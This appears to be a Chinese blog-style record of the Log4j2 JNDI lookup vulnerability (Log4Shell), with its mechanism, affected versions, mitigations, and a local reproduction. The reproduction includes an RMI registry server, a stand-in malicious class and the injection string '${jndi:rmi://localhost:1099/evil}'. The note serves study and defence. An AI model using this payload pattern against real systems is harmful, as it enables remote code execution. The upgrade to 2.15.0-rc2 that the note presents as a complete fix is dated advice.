Apache Log4j2 高危漏洞记录

一、漏洞详情

概况:通过Apache Log4j2其中的Lookup功能实现反序列化,最终执行恶意代码

首先服务端会根据恶意exp类与标识构造一个Reference对象引用,然后将这个恶意的Reference引用绑定到RMI注册中心,当客户端调用lookup方法获取Reference对象引用时,然后会加载Reference引用中指定的类,一般会先从本地寻找Exp类,如果找不到就会从Reference引用中指定的远程地址(http://localhost:1099/)中下载Exp类然后在本地加载该类,也就是说RMI客户端会再次跟远程地址建立tcp连接把Exp类下载到本地并加载。从监听的端口来看,客户端确实发送了一个http请求把Exp类下载到本地,然后在加载Exp类时就会执行静态代码块中的代码

二、影响范围

Apache Log4j 2.x <= 2.15.0-rc1

受影响的应用及组件(包括但不限于)如下:

Apache Solr、Apache Flink、Apache Druid、Apache Struts2、srping-boot-strater-log4j2等。

三、漏洞修复方案

1、临时缓解方案

  • 在jvm参数中添加 -Dlog4j2.FORMATMsgNoLookups=true
  • 系统环境变量中将FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS设置为true
  • 创建 “log4j2.component.properties” 文件,文件中增加配置 “log4j2.formatMsgNoLookups=true”

2、彻底修复方案

  • 手动删除log4j-core-*.jar中org/apache/logging/log4j/core/lookup/JndiLookup.class,重启服务即可。
  • 升级到官方提供的 log4j-2.15.0-rc2 版本

四、漏洞复现

Log4J2.xml Log4j2配置文件

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="WARN">
<Appenders>
<Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n"/>
</Console>
</Appenders>
<Loggers>
<Root level="debug">
<AppenderRef ref="Console"/>
</Root>
</Loggers>
</Configuration>

RMIServer.java 服务启动 注册中心

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
package com.mrmao.rmi;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

/**
* @author MrMao14
* 2021/12/11 18:13
*/
public class RMIServer {

public static void main(String[] args) {

try{
//在1099端口建立一个注册中心
LocateRegistry.createRegistry(1099);
Registry registry = LocateRegistry.getRegistry();

System.out.println("1099端口创建注册中心成功");

//创建一个服务绑定恶意代码类
String className = "com.mrmao.rmi.EvilObj";
Reference reference = new Reference(className,className,null);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
//将reference对象绑定到注册中心
registry.bind("evil",referenceWrapper);
System.out.println("注册中心绑定");
}catch (Exception e){
e.printStackTrace();
}
}
}

EvilObj.java 恶意代码类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package com.mrmao.rmi;

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

/**
* @author MrMao14
* 2021/12/11 18:13
*/
public class EvilObj implements ObjectFactory {

static {
System.out.println("恶意代码执行");
}

@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
System.out.println("获取实例");
return null;
}
}

Log4j2Test.java 恶意代码启动类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package com.mrmao;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

/**
* @author MrMao14
* 2021/12/11 18:10
*/
public class Log4j2Test {

private static final Logger LOGGER = LogManager.getLogger();

public static void main(String[] args) {

//信任RMI代码调用
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");

//Lookup功能测试
// String userName = "${java:os}";

//恶意代码测试
String userName = "${jndi:rmi://localhost:1099/evil}";

LOGGER.info("userName:{}!",userName);
}
}